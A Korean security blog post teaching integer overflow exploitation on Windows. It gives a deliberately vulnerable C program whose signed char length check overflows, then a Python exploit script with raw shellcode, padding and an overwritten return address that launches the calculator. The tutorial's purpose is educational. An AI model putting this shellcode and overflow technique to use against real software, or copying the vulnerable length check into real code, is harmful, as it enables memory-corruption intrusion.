ii4gsp

Integer Overflow Exploit 본문

시스템 해킹/Windows Pwnable

Integer Overflow Exploit

ii4gsp 2020. 4. 20. 09:05

Integer Overflow 즉, 정수 오버플로우 이다.

정수 오버플로우란 변수에 담을 수 있는 최댓값을 넘길 때 발생한ㄴ다.

컴퓨터는 음수를 표현하기 위해 첫 번째 비트를 음수 비트로 사용한다.

즉, 한 개의 비트를 미리 사용하기 때문에 unsigned 타입의 변수에 비해 절반의 공간을 가진다.

 

 

 

 

#include <stdafx.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[])
{
	static char contents[400] = {0,};
	char len = 0;
	char buf[300] = {0,};
	if (argc != 2) { 
		printf("Usage : %s [filename]\n", argv[0]);
		exit(1);
	}
	FILE *f = fopen(argv[1], "r");
	fgets(contents,400,f);
	len = strlen(contents); 
	printf("Filename : %s \n", argv[1]);
	printf("len : %d\ncontents_len : %d\n", len, strlen(contents));
	if(len<300){
		memcpy(buf,contents,strlen(contents));
	}else{
		printf("Error!! Max Size:300\n");
		exit(1);
	}
}

정수 오버플로우가 일어나는 취약한 소스코드이다.

 

 

 

 

len = strlen(contents);
if(len<300){
		memcpy(buf,contents,strlen(contents));
	}else{
		printf("Error!! Max Size:300\n");
		exit(1);
	}

문자열 길이를 저장하는 변수는 char형인 len이다.

char형 변수는 1바이트 크기를 가지지만 부호를 나타내기 위해 1비트를 사용하므로 7비트를 사용해서 0~127까지만 나타낼 수 있고, 이 수를 넘으면 음수가되어 if문을 통과하여 memcpy()함수가 실행된다.

 

 

 

 

payload = "A" * 350
f = open("test2.txt","w")
f.write(payload)
f.close()

소스코드를 만들어 test2.txt를 프로그램의 인자로 전달해보자.

 

 

 

 

문자열 350개를 입력했지만 len은 94로 나타난다.

0001 0101 1110에서 0001 | 0101 1110으로 비트가 짤려나갔다.

그래서 0101 1110 즉, 94가 된 것이다.

 

 

 

 

import struct

shellcode  = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9"
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56"
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9"
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97"
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64"
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8"
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a"
"\x1c\x39\xbd")

dummy = "A" * (324-len(shellcode))
buf = struct.pack('<L',0x403378)
payload = shellcode + dummy + buf

f = open("test.txt","w")
f.write(payload)
f.close()

익스플로잇 코드이다.

len을 음수로 만들어 memcpy()함수를 실행하게하고 buf에 쉘 코드를 넣고 RET를 buf의 주소로 변경하면 쉘 코드가 실행 될 것이다.

 

 

 

 

test.txt를 프로그램의 인자로 주고, memcpy()함수가 실행 후 breakpoint를 걸고 메모리를 확인 ㄱㄱ

 

 

 

 

RET가 0x403378 즉, buf의 주소로 변조되었다.

이제 F9로 프로그램을 실행해보자.

 

 

 

 

쉘 코드가 정상적으로 실행되어 계산기가 실행되었다.

'시스템 해킹 > Windows Pwnable' 카테고리의 다른 글

CoolPlayer 2.19.2 Exploit (Local)  (0) 2020.12.30
Easy Chat Server 3.1 Exploit (RCE)  (0) 2020.12.30
부분 Overwrite  (0) 2020.04.22
Virtual Table Overwrite  (0) 2020.04.19
Windows calc shellcode  (0) 2020.04.19
Comments